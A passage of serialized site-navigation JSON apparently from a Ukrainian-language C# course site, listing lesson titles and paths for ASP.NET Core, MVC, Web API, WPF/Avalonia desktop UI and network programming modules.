Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fserilog","01.csharp\u002F11.aspnet\u002F09.libraries\u002F04.serilog",{"title":1147,"path":1148,"stem":1149},"CQRS та Mediator з MediatR в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmediatr","01.csharp\u002F11.aspnet\u002F09.libraries\u002F05.mediatr",{"title":1151,"path":1152,"stem":1153},"Відмовостійкість з Polly в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fpolly","01.csharp\u002F11.aspnet\u002F09.libraries\u002F06.polly",{"title":1155,"path":1156,"stem":1157},"Health Checks в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F09.libraries\u002F07.health-checks",{"title":1159,"path":1160,"stem":1161},"Feature Management та Feature Flags в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffeature-management","01.csharp\u002F11.aspnet\u002F09.libraries\u002F08.feature-management",{"title":1163,"path":1164,"stem":1165},"Відправка Email з FluentEmail в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-email","01.csharp\u002F11.aspnet\u002F09.libraries\u002F09.fluent-email",{"title":1167,"path":1168,"stem":1169},"Генерація PDF з QuestPDF в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fquest-pdf","01.csharp\u002F11.aspnet\u002F09.libraries\u002F10.quest-pdf",{"title":1171,"path":1172,"stem":1173},"Генерація тестових даних з Bogus в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fbogus","01.csharp\u002F11.aspnet\u002F09.libraries\u002F11.bogus",{"title":1175,"path":1176,"stem":1177},"Humanizer та Guard Clauses в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhumanizer-guard","01.csharp\u002F11.aspnet\u002F09.libraries\u002F12.humanizer-guard",{"title":1179,"path":1180,"stem":1181},"План модуля 10.libraries — Популярні бібліотеки ASP.NET","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fplan","01.csharp\u002F11.aspnet\u002F09.libraries\u002Fplan",{"title":1183,"icon":1184,"path":1185,"stem":1186,"children":1187,"page":59},"Razor Pages","i-lucide-layout-template","\u002Fcsharp\u002Faspnet\u002Frazor-pages","01.csharp\u002F11.aspnet\u002F10.razor-pages",[1188,1192,1196,1200,1204,1208],{"title":1189,"path":1190,"stem":1191},"Від Minimal API до Razor Pages: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ffrom-minimal-api","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F01.from-minimal-api",{"title":1193,"path":1194,"stem":1195},"PageModel: логіка сторінки Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fpage-model","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F02.page-model",{"title":1197,"path":1198,"stem":1199},"Razor синтаксис: шаблонізатор у .cshtml","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Frazor-syntax","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F03.razor-syntax",{"title":1201,"path":1202,"stem":1203},"Tag Helpers: типізований HTML","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ftag-helpers","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F04.tag-helpers",{"title":1205,"path":1206,"stem":1207},"Форми і валідація: повний цикл обробки даних","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fforms-validation","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F05.forms-validation",{"title":1209,"path":1210,"stem":1211},"Практичний проєкт: TaskManager на Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fproject-task-manager","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F06.project-task-manager",{"title":1213,"path":1214,"stem":1215,"children":1216,"page":59},"ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc","01.csharp\u002F11.aspnet\u002F11.mvc",[1217,1221,1225,1229,1233,1237,1241,1245,1249,1253,1257,1261,1265,1269,1273,1277,1281,1285],{"title":1218,"path":1219,"stem":1220},"Патерн MVC: архітектура, що змінила веб","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-pattern","01.csharp\u002F11.aspnet\u002F11.mvc\u002F01.mvc-pattern",{"title":1222,"path":1223,"stem":1224},"Від Razor Pages до MVC: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffrom-razor-pages","01.csharp\u002F11.aspnet\u002F11.mvc\u002F02.from-razor-pages",{"title":1226,"path":1227,"stem":1228},"Controllers та Actions: серце MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fcontrollers-actions","01.csharp\u002F11.aspnet\u002F11.mvc\u002F03.controllers-actions",{"title":1230,"path":1231,"stem":1232},"Маршрутизація в MVC: Convention vs Attribute Routing","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Frouting-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F04.routing-mvc",{"title":1234,"path":1235,"stem":1236},"Model Binding: від HTTP до C#","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmodel-binding","01.csharp\u002F11.aspnet\u002F11.mvc\u002F05.model-binding",{"title":1238,"path":1239,"stem":1240},"Views, ViewData, ViewBag, TempData і ViewModel","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fviews-viewdata-tempdata","01.csharp\u002F11.aspnet\u002F11.mvc\u002F06.views-viewdata-tempdata",{"title":1242,"path":1243,"stem":1244},"Filters: аспектно-орієнтоване програмування в MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffilters","01.csharp\u002F11.aspnet\u002F11.mvc\u002F07.filters",{"title":1246,"path":1247,"stem":1248},"Areas: структурування великих застосунків","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fareas","01.csharp\u002F11.aspnet\u002F11.mvc\u002F08.areas",{"title":1250,"path":1251,"stem":1252},"View Components: повторювані незалежні блоки UI","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fview-components","01.csharp\u002F11.aspnet\u002F11.mvc\u002F09.view-components",{"title":1254,"path":1255,"stem":1256},"Display та Editor Templates","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fdisplay-editor-templates","01.csharp\u002F11.aspnet\u002F11.mvc\u002F10.display-editor-templates",{"title":1258,"path":1259,"stem":1260},"Валідація: IValidatableObject та FluentValidation","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fvalidation-advanced","01.csharp\u002F11.aspnet\u002F11.mvc\u002F11.validation-advanced",{"title":1262,"path":1263,"stem":1264},"HTMX: інтерактивність через HTML-атрибути","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx","01.csharp\u002F11.aspnet\u002F11.mvc\u002F12.htmx",{"title":1266,"path":1267,"stem":1268},"HTMX у ASP.NET Core MVC: серверна інтеграція","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fajax-htmx-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F13.ajax-htmx-mvc",{"title":1270,"path":1271,"stem":1272},"Практичний проєкт: Каталог товарів з HTMX","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F14.htmx-project",{"title":1274,"path":1275,"stem":1276},"Завантаження та обробка файлів","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffile-upload","01.csharp\u002F11.aspnet\u002F11.mvc\u002F15.file-upload",{"title":1278,"path":1279,"stem":1280},"Глобалізація та Локалізація MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fglobalization-localization","01.csharp\u002F11.aspnet\u002F11.mvc\u002F16.globalization-localization",{"title":1282,"path":1283,"stem":1284},"Підсумковий проєкт: Блог-платформа","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F17.mvc-project",{"title":1286,"path":1287,"stem":1288},"План курсу: ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fplan","01.csharp\u002F11.aspnet\u002F11.mvc\u002Fplan",{"title":1290,"path":1291,"stem":1292,"children":1293,"page":59},"Web Api","\u002Fcsharp\u002Faspnet\u002Fweb-api","01.csharp\u002F11.aspnet\u002F12.web-api",[1294,1298,1302,1306,1310,1314,1318,1322,1326,1330,1334,1338,1342],{"title":1295,"path":1296,"stem":1297},"Від Minimal API до Controller-based API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffrom-minimal-api-to-controllers","01.csharp\u002F11.aspnet\u002F12.web-api\u002F01.from-minimal-api-to-controllers",{"title":1299,"path":1300,"stem":1301},"ControllerBase, ActionResult\u003CT> та Response Types","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontroller-base-actionresult","01.csharp\u002F11.aspnet\u002F12.web-api\u002F02.controller-base-actionresult",{"title":1303,"path":1304,"stem":1305},"Content Negotiation - JSON, XML та власні форматери","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontent-negotiation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F03.content-negotiation",{"title":1307,"path":1308,"stem":1309},"Версіонування API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-versioning","01.csharp\u002F11.aspnet\u002F12.web-api\u002F04.api-versioning",{"title":1311,"path":1312,"stem":1313},"ProblemDetails та структурована обробка помилок","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fproblemdetails-error-handling","01.csharp\u002F11.aspnet\u002F12.web-api\u002F05.problemdetails-error-handling",{"title":1315,"path":1316,"stem":1317},"Фільтри у Web API контексті","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffilters-for-api","01.csharp\u002F11.aspnet\u002F12.web-api\u002F06.filters-for-api",{"title":1319,"path":1320,"stem":1321},"Пагінація, фільтрація та сортування","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fpagination-filtering-sorting","01.csharp\u002F11.aspnet\u002F12.web-api\u002F07.pagination-filtering-sorting",{"title":1323,"path":1324,"stem":1325},"HATEOAS та Resource Expansion","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhateoas-resource-expansion","01.csharp\u002F11.aspnet\u002F12.web-api\u002F08.hateoas-resource-expansion",{"title":1327,"path":1328,"stem":1329},"Гібридна архітектура - Minimal API + Controllers","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fminimal-api-vs-controllers-hybrid","01.csharp\u002F11.aspnet\u002F12.web-api\u002F09.minimal-api-vs-controllers-hybrid",{"title":1331,"path":1332,"stem":1333},"Документація API - Swashbuckle, NSwag та генерація клієнтів","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-documentation-generation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F10.api-documentation-generation",{"title":1335,"path":1336,"stem":1337},"Health Checks та моніторинг API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhealth-checks-monitoring","01.csharp\u002F11.aspnet\u002F12.web-api\u002F11.health-checks-monitoring",{"title":1339,"path":1340,"stem":1341},"Підсумковий проєкт - Production-Ready REST API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fweb-api-project","01.csharp\u002F11.aspnet\u002F12.web-api\u002F12.web-api-project",{"title":1343,"path":1344,"stem":1345},"План курсу: ASP.NET Core Web API (Controllers)","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fplan","01.csharp\u002F11.aspnet\u002F12.web-api\u002Fplan",{"title":1347,"icon":1348,"path":1349,"stem":1350,"children":1351,"page":59},"Моніторинг","i-lucide-activity","\u002Fcsharp\u002Faspnet\u002Fmonitoring","01.csharp\u002F11.aspnet\u002F13.monitoring",[1352,1356,1360],{"title":1353,"path":1354,"stem":1355},"Спостережуваність: від console.log до production-систем","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fobservability-intro","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F01.observability-intro",{"title":1357,"path":1358,"stem":1359},"Health Checks: перший рівень observability","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F02.health-checks",{"title":1361,"path":1362,"stem":1363},"Вбудовані метрики .NET 10 та System.Diagnostics.Metrics","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fdotnet-metrics","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F03.dotnet-metrics",{"title":1365,"icon":1366,"path":1367,"stem":1368,"children":1369,"page":59},"Desktop UI","i-lucide-app-window","\u002Fcsharp\u002Fdesktop-ui","01.csharp\u002F12.desktop-ui",[1370,1374,1378,1382,1386,1390,1394,1398,1402,1406,1410,1414,1418,1422,1426,1430,1434,1438,1442,1446,1450,1454,1458,1462,1466,1470,1474,1478,1482,1486,1490,1494,1498,1502,1506,1510,1514,1518,1522,1526,1530,1534,1538,1542,1546,1550,1554,1558,1562,1566,1570,1574,1578,1582,1586,1590,1594,1598,1602,1606,1610,1614,1618,1622,1626,1630,1634,1638,1642,1646,1650],{"title":1371,"path":1372,"stem":1373},"Що таке десктопна розробка?","\u002Fcsharp\u002Fdesktop-ui\u002Fwhat-is-desktop-dev","01.csharp\u002F12.desktop-ui\u002F01.what-is-desktop-dev",{"title":1375,"path":1376,"stem":1377},"Архітектура WPF — як влаштований графічний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-architecture","01.csharp\u002F12.desktop-ui\u002F02.wpf-architecture",{"title":1379,"path":1380,"stem":1381},"Перший WPF-проєкт — від нуля до вікна","\u002Fcsharp\u002Fdesktop-ui\u002Ffirst-wpf-app","01.csharp\u002F12.desktop-ui\u002F03.first-wpf-app",{"title":1383,"path":1384,"stem":1385},"Перший Avalonia-проєкт: WPF для всіх платформ","\u002Fcsharp\u002Fdesktop-ui\u002F03a.first-avalonia-app","01.csharp\u002F12.desktop-ui\u002F03a.first-avalonia-app",{"title":1387,"path":1388,"stem":1389},"XAML: декларативний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-basics","01.csharp\u002F12.desktop-ui\u002F04.xaml-basics",{"title":1391,"path":1392,"stem":1393},"Fluent UI у WPF — сучасний дизайн Windows 11","\u002Fcsharp\u002Fdesktop-ui\u002F04a.wpf-fluent-ui","01.csharp\u002F12.desktop-ui\u002F04a.wpf-fluent-ui",{"title":1395,"path":1396,"stem":1397},"WPF UI — сучасна бібліотека Fluent контролів","\u002Fcsharp\u002Fdesktop-ui\u002F04b.wpf-ui-library","01.csharp\u002F12.desktop-ui\u002F04b.wpf-ui-library",{"title":1399,"path":1400,"stem":1401},"HandyControl — велика бібліотека UI контролів для WPF","\u002Fcsharp\u002Fdesktop-ui\u002F04c.handycontrol-library","01.csharp\u002F12.desktop-ui\u002F04c.handycontrol-library",{"title":1403,"path":1404,"stem":1405},"Простори імен та ресурси XAML","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-namespaces-resources","01.csharp\u002F12.desktop-ui\u002F05.xaml-namespaces-resources",{"title":1407,"path":1408,"stem":1409},"XAML в Avalonia: ключові відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F05a.avalonia-xaml-differences","01.csharp\u002F12.desktop-ui\u002F05a.avalonia-xaml-differences",{"title":1411,"path":1412,"stem":1413},"Розширення розмітки XAML (Markup Extensions)","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-markup-extensions","01.csharp\u002F12.desktop-ui\u002F06.xaml-markup-extensions",{"title":1415,"path":1416,"stem":1417},"Панелі Layout: StackPanel, WrapPanel, DockPanel","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part1","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part1",{"title":1419,"path":1420,"stem":1421},"Grid, Canvas, UniformGrid","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part2","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part2",{"title":1423,"path":1424,"stem":1425},"Просунуті техніки Layout","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-advanced","01.csharp\u002F12.desktop-ui\u002F08.layout-advanced",{"title":1427,"path":1428,"stem":1429},"Адаптивний Layout та найкращі практики","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-responsive","01.csharp\u002F12.desktop-ui\u002F09.layout-responsive",{"title":1431,"path":1432,"stem":1433},"Layout в Avalonia: відмінності та нові можливості","\u002Fcsharp\u002Fdesktop-ui\u002F09a.layout-avalonia","01.csharp\u002F12.desktop-ui\u002F09a.layout-avalonia",{"title":1435,"path":1436,"stem":1437},"Button, Image, ProgressBar та інші базові контроли","\u002Fcsharp\u002Fdesktop-ui\u002Fbasic-controls","01.csharp\u002F12.desktop-ui\u002F10.basic-controls",{"title":1439,"path":1440,"stem":1441},"Контроли в Avalonia: відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F10a.controls-avalonia","01.csharp\u002F12.desktop-ui\u002F10a.controls-avalonia",{"title":1443,"path":1444,"stem":1445},"Текстові контроли — TextBlock, TextBox, RichTextBox","\u002Fcsharp\u002Fdesktop-ui\u002Ftext-controls","01.csharp\u002F12.desktop-ui\u002F11.text-controls",{"title":1447,"path":1448,"stem":1449},"Контроли вибору — CheckBox, RadioButton, ComboBox, ListBox, DatePicker","\u002Fcsharp\u002Fdesktop-ui\u002Fselection-controls","01.csharp\u002F12.desktop-ui\u002F12.selection-controls",{"title":1451,"path":1452,"stem":1453},"Content Model — GroupBox, Expander, TabControl, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fcontent-controls","01.csharp\u002F12.desktop-ui\u002F13.content-controls",{"title":1455,"path":1456,"stem":1457},"UI\u002FUX принципи десктопних застосунків","\u002Fcsharp\u002Fdesktop-ui\u002F13a.ui-ux-principles","01.csharp\u002F12.desktop-ui\u002F13a.ui-ux-principles",{"title":1459,"path":1460,"stem":1461},"Dependency Properties — Концепція та Value Resolution","\u002Fcsharp\u002Fdesktop-ui\u002Fdependency-properties-part1","01.csharp\u002F12.desktop-ui\u002F14.dependency-properties-part1",{"title":1463,"path":1464,"stem":1465},"Avalonia Property System — StyledProperty та DirectProperty","\u002Fcsharp\u002Fdesktop-ui\u002F14a.avalonia-property-system","01.csharp\u002F12.desktop-ui\u002F14a.avalonia-property-system",{"title":1467,"path":1468,"stem":1469},"Attached Properties — Властивості без меж","\u002Fcsharp\u002Fdesktop-ui\u002Fattached-properties","01.csharp\u002F12.desktop-ui\u002F15.attached-properties",{"title":1471,"path":1472,"stem":1473},"Routed Events — Маршрутизація подій у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Frouted-events","01.csharp\u002F12.desktop-ui\u002F16.routed-events",{"title":1475,"path":1476,"stem":1477},"Data Binding — Від Code-Behind до Декларативності","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part1","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part1",{"title":1479,"path":1480,"stem":1481},"INotifyPropertyChanged — Живе оновлення UI","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part2","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part2",{"title":1483,"path":1484,"stem":1485},"Compiled Bindings в Avalonia — Безпека на етапі компіляції","\u002Fcsharp\u002Fdesktop-ui\u002F17a.avalonia-compiled-bindings","01.csharp\u002F12.desktop-ui\u002F17a.avalonia-compiled-bindings",{"title":1487,"path":1488,"stem":1489},"Просунутий Data Binding — ElementName, RelativeSource, MultiBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-advanced","01.csharp\u002F12.desktop-ui\u002F18.data-binding-advanced",{"title":1491,"path":1492,"stem":1493},"Value Converters — Перетворення типів даних у Data Binding","\u002Fcsharp\u002Fdesktop-ui\u002Fvalue-converters","01.csharp\u002F12.desktop-ui\u002F19.value-converters",{"title":1495,"path":1496,"stem":1497},"Data Templates — Візуалізація об'єктів у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-templates","01.csharp\u002F12.desktop-ui\u002F20.data-templates",{"title":1499,"path":1500,"stem":1501},"Collections Binding Part 1 — ObservableCollection та ItemsControl","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part1","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part1",{"title":1503,"path":1504,"stem":1505},"Collections Binding Part 2 — ICollectionView, Filtering, Sorting та Virtualization","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part2","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part2",{"title":1507,"path":1508,"stem":1509},"MVVM Pattern — Від Spaghetti Code до архітектури","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-pattern","01.csharp\u002F12.desktop-ui\u002F22.mvvm-pattern",{"title":1511,"path":1512,"stem":1513},"ViewModel Implementation — Від BaseViewModel до валідації","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-implementation","01.csharp\u002F12.desktop-ui\u002F23.viewmodel-implementation",{"title":1515,"path":1516,"stem":1517},"Commands — Від event handlers до декларативних команд","\u002Fcsharp\u002Fdesktop-ui\u002Fcommands","01.csharp\u002F12.desktop-ui\u002F24.commands",{"title":1519,"path":1520,"stem":1521},"MVVM Toolkit — MVVM без boilerplate через Source Generators","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-toolkit","01.csharp\u002F12.desktop-ui\u002F25.mvvm-toolkit",{"title":1523,"path":1524,"stem":1525},"Messenger Pattern — Комунікація між ViewModel без прямих посилань","\u002Fcsharp\u002Fdesktop-ui\u002Fmessenger-pattern","01.csharp\u002F12.desktop-ui\u002F26.messenger-pattern",{"title":1527,"path":1528,"stem":1529},"Стилі WPF — CSS для десктопу","\u002Fcsharp\u002Fdesktop-ui\u002Fstyles-basics","01.csharp\u002F12.desktop-ui\u002F27.styles-basics",{"title":1531,"path":1532,"stem":1533},"CSS-like стилі Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F27a.avalonia-css-styling","01.csharp\u002F12.desktop-ui\u002F27a.avalonia-css-styling",{"title":1535,"path":1536,"stem":1537},"Control Templates — Частина 1. Концепція та TemplateBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part1","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part1",{"title":1539,"path":1540,"stem":1541},"Control Templates — Частина 2. Named Parts та ContentPresenter","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part2","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part2",{"title":1543,"path":1544,"stem":1545},"Control Themes в Avalonia — нова ера стилізації","\u002Fcsharp\u002Fdesktop-ui\u002F28a.avalonia-control-themes","01.csharp\u002F12.desktop-ui\u002F28a.avalonia-control-themes",{"title":1547,"path":1548,"stem":1549},"Triggers та Visual State Manager у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Ftriggers-visual-states","01.csharp\u002F12.desktop-ui\u002F29.triggers-visual-states",{"title":1551,"path":1552,"stem":1553},"Pseudo-classes в Avalonia — замість WPF Triggers","\u002Fcsharp\u002Fdesktop-ui\u002F29a.avalonia-pseudo-classes","01.csharp\u002F12.desktop-ui\u002F29a.avalonia-pseudo-classes",{"title":1555,"path":1556,"stem":1557},"Теми та ресурсні словники у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fresources-themes","01.csharp\u002F12.desktop-ui\u002F30.resources-themes",{"title":1559,"path":1560,"stem":1561},"Avalonia Themes — Fluent Design та система тематизації","\u002Fcsharp\u002Fdesktop-ui\u002F30a.avalonia-themes-fluent","01.csharp\u002F12.desktop-ui\u002F30a.avalonia-themes-fluent",{"title":1563,"path":1564,"stem":1565},"Контроли колекцій — глибоке занурення","\u002Fcsharp\u002Fdesktop-ui\u002Fcollection-controls","01.csharp\u002F12.desktop-ui\u002F31.collection-controls",{"title":1567,"path":1568,"stem":1569},"DataGrid — колонки та базове відображення","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part1","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part1",{"title":1571,"path":1572,"stem":1573},"DataGrid — сортування, фільтрація, редагування","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part2","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part2",{"title":1575,"path":1576,"stem":1577},"TreeView та GridView","\u002Fcsharp\u002Fdesktop-ui\u002Ftreeview-listview","01.csharp\u002F12.desktop-ui\u002F33.treeview-listview",{"title":1579,"path":1580,"stem":1581},"Меню, Toolbar, ContextMenu, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fmenus-toolbars","01.csharp\u002F12.desktop-ui\u002F34.menus-toolbars",{"title":1583,"path":1584,"stem":1585},"Навігація та керування вікнами. Частина 1: вікна та сторінки","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part1","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part1",{"title":1587,"path":1588,"stem":1589},"Навігація та керування вікнами. Частина 2: MVVM-навігація","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part2","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part2",{"title":1591,"path":1592,"stem":1593},"Avalonia — Навігація та діалоги","\u002Fcsharp\u002Fdesktop-ui\u002F35a.avalonia-navigation-dialogs","01.csharp\u002F12.desktop-ui\u002F35a.avalonia-navigation-dialogs",{"title":1595,"path":1596,"stem":1597},"Діалоги та File Pickers у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdialogs-file-pickers","01.csharp\u002F12.desktop-ui\u002F36.dialogs-file-pickers",{"title":1599,"path":1600,"stem":1601},"UserControl: компонентний підхід у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fuser-controls","01.csharp\u002F12.desktop-ui\u002F37.user-controls",{"title":1603,"path":1604,"stem":1605},"Custom Controls: Lookless Controls у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fcustom-controls","01.csharp\u002F12.desktop-ui\u002F38.custom-controls",{"title":1607,"path":1608,"stem":1609},"Avalonia TemplatedControl — Lookless Controls","\u002Fcsharp\u002Fdesktop-ui\u002F38a.avalonia-templated-controls","01.csharp\u002F12.desktop-ui\u002F38a.avalonia-templated-controls",{"title":1611,"path":1612,"stem":1613},"Анімації у WPF: Storyboard та Easing Functions","\u002Fcsharp\u002Fdesktop-ui\u002Fanimations-transitions","01.csharp\u002F12.desktop-ui\u002F39.animations-transitions",{"title":1615,"path":1616,"stem":1617},"Анімації в Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F39a.avalonia-animations","01.csharp\u002F12.desktop-ui\u002F39a.avalonia-animations",{"title":1619,"path":1620,"stem":1621},"2D Графіка та Мультимедіа у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fmedia-graphics","01.csharp\u002F12.desktop-ui\u002F40.media-graphics",{"title":1623,"path":1624,"stem":1625},"Dependency Injection у WPF та Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Fdi-integration","01.csharp\u002F12.desktop-ui\u002F41.di-integration",{"title":1627,"path":1628,"stem":1629},"SQLite та EF Core у десктопних додатках","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part1","01.csharp\u002F12.desktop-ui\u002F42.data-persistence-part1",{"title":1631,"path":1632,"stem":1633},"Repository Pattern та Unit of Work","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part2","01.csharp\u002F12.desktop-ui\u002F43.data-persistence-part2",{"title":1635,"path":1636,"stem":1637},"Тестування ViewModels","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-testing","01.csharp\u002F12.desktop-ui\u002F44.viewmodel-testing",{"title":1639,"path":1640,"stem":1641},"Avalonia Headless Testing — тестування UI без вікон","\u002Fcsharp\u002Fdesktop-ui\u002F44a.avalonia-headless-testing","01.csharp\u002F12.desktop-ui\u002F44a.avalonia-headless-testing",{"title":1643,"path":1644,"stem":1645},"Кросплатформна розробка з Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-cross-platform","01.csharp\u002F12.desktop-ui\u002F45.avalonia-cross-platform",{"title":1647,"path":1648,"stem":1649},"Пакування та розгортання Avalonia додатків","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F46.avalonia-packaging-deployment",{"title":1651,"path":1652,"stem":1653},"Розгортання WPF застосунків","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F47.wpf-packaging-deployment",{"title":1655,"icon":658,"path":1656,"stem":1657,"children":1658,"page":59},"Network Programming","\u002Fcsharp\u002Fnetwork-programming","01.csharp\u002F13.network-programming",[1659,1663,1667,1671,1675,1679,1683,1687,1691,1695,1699],{"title":1660,"path":1661,"stem":1662},"Основи комп'ютерних мереж","\u002Fcsharp\u002Fnetwork-programming\u002Ffoundations","01.csharp\u002F13.network-programming\u002F01.foundations",{"title":1664,"path":1665,"stem":1666},"Модель OSI та стек TCP\u002FIP","\u002Fcsharp\u002Fnetwork-programming\u002Fosi-model","01.csharp\u002F13.network-programming\u002F02.osi-model",{"title":1668,"path":1669,"stem":1670},"IP-протокол та адресація","\u002Fcsharp\u002Fnetwork-programming\u002Fip-addressing","01.csharp\u002F13.network-programming\u002F03.ip-addressing",{"title":1672,"path":1673,"stem":1674},"UDP — протокол без з'єднання","\u002Fcsharp\u002Fnetwork-programming\u002Fudp","01.csharp\u002F13.network-programming\u002F05.udp",{"title":1676,"path":1677,"stem":1678},"UDP Broadcast та Multicast","\u002Fcsharp\u002Fnetwork-programming\u002Fudp-broadcast-multicast","01.csharp\u002F13.network-programming\u002F06.udp-broadcast-multicast",{"title":1680,"path":1681,"stem":1682},"HTTP — протокол 